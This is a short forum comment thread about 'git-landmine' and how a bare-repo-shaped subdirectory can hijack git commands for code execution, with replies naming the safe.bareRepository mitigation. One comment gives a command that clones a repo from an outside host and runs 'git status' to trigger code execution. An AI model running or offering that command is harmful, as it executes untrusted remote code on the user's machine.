News for hackers. Stuff that matters.

A comment on git-landmine – create local malicious Git repo. Parent comment

Re:git-landmine – create local malicious Git repo by tomlx on Sunday July 02, 2023 @08:44AM (#36560959)
git does not clone hooks, but if a subdirectory of a repo has the structure of a bare repo it can hijack git subcommands for code execution. try:

  git clone https://git.0x90.space/vmann/pwnd && cd pwnd/whoot && git status
it is a bit crazy this is not disabled by default yet.
[ Parent | on HN ]
Re:git-landmine – create local malicious Git repo by darau1 on Sunday July 02, 2023 @09:59AM (#36561545)
That's terrifying. I'll think twice before cloning any repository from now on.

> not disabled by default yet

You're saying there's a way to "disable" this behavior?

[ Parent | on HN ]
Re:git-landmine – create local malicious Git repo by tomlx on Sunday July 02, 2023 @10:45AM (#36561925)
none that i know of
[ Parent | on HN ]
Re:git-landmine – create local malicious Git repo by joeyh on Sunday July 02, 2023 @11:10AM (#36562143)
Set safe.bareRepository = explicit.
[ Parent | on HN ]
Re:git-landmine – create local malicious Git repo by jwilk on Sunday July 02, 2023 @11:17AM (#36562217)
Available since Git v2.38:

https://github.com/git/git/commit/8d1a7448206e11cd

[ Parent | on HN ]
Re:git-landmine – create local malicious Git repo by jdsalaro on Sunday July 02, 2023 @11:02AM (#36562064)
That's fascinating! Time to update my Blogpost on git hooks and go down this rabbit hole !
[ Parent | on HN ]